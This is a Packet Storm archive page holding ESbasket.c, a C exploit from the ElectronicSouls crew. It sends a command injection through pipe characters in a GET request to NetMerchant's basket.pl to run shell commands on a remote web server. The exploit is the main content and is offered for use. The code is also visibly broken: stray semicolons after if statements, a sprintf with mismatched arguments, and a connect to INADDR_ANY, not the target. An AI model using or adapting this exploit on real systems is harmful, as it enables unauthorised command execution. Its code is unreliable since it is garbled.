what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ESbasket.c

ESbasket.c
Posted Apr 15, 2003
Authored by Brainstorm, electronicsouls

Exploit for NetMerchant that allows for remote command execution.

tags | remote
SHA-256 | e30fda7b60a08dc3612148a6ccee162a260d3ab4e8710e2ff20fee58a2b5224d

ESbasket.c

Change Mirror Download
/* 
* PROPERTY OF THE ELECTRONICSOULS CREW !
* DO NOT DISTRIBUTE !
*
* (C) BrainStorm [ElectronicSouls]
*
* NetMerchant bug in basket.pl
* you can execute commands but
* 0x20 is filterd!
*
* it isnt widely used, but could
* be usefull sometime so...
* ..KEEP THIS PRIVATE !!$&%
*
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>


int main(int argc, char **argv[])
{
struct sockaddr_in dope;
struct hostent *host;

char buf[8000];

int sock, rt, len, STR1, STR2;

STR1 = argv[2];
STR2 = argv[3];


if (argv[1] == 0);
{
printf("enter a host \n");
}

if (argv[2] == 0);
{
STR1 = "/cgi-bin/";
}
if (argv[3] == 0);
{
STR2 = "whoami";
}

host = gethostbyname((void *)argv[1]);
sock = socket(AF_INET, SOCK_STREAM, 0);

bzero(&(dope.sin_zero), 8);

dope.sin_family = AF_INET;
dope.sin_addr.s_addr = htonl(INADDR_ANY);
dope.sin_port = htons(80);

rt = connect(sock, (void *)&dope, sizeof(dope));

if (rt == -1)
{
perror("Connect..");
printf("\n");
exit(1);
}
printf("\n\n[ ElectronicSouls ] - NetMerchant basket.pl exploit \n");
printf("(C) BrainStorm - 2002 \n\n");

printf("[!] Connected to %s\n", argv[1]);
memset(&buf, 0, sizeof(buf));
sprintf(buf, "GET ", STR1, "basket.pl/bigheadshop?|", STR2, "|", "HTTP/1.1\n\n", argv[2], argv[3]);
printf("[*] Sending exploit string..\n");
send(sock, buf, sizeof(buf), 0);

while (1)
{
memset(&buf, 0, sizeof(buf));
len = sizeof(buf);
rt = read(sock, &buf, len);

if (rt <= 0)
{
printf("error!\n");
exit(0);
}

printf("%s\n", buf);
perror("Status ");
exit(0);
}
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close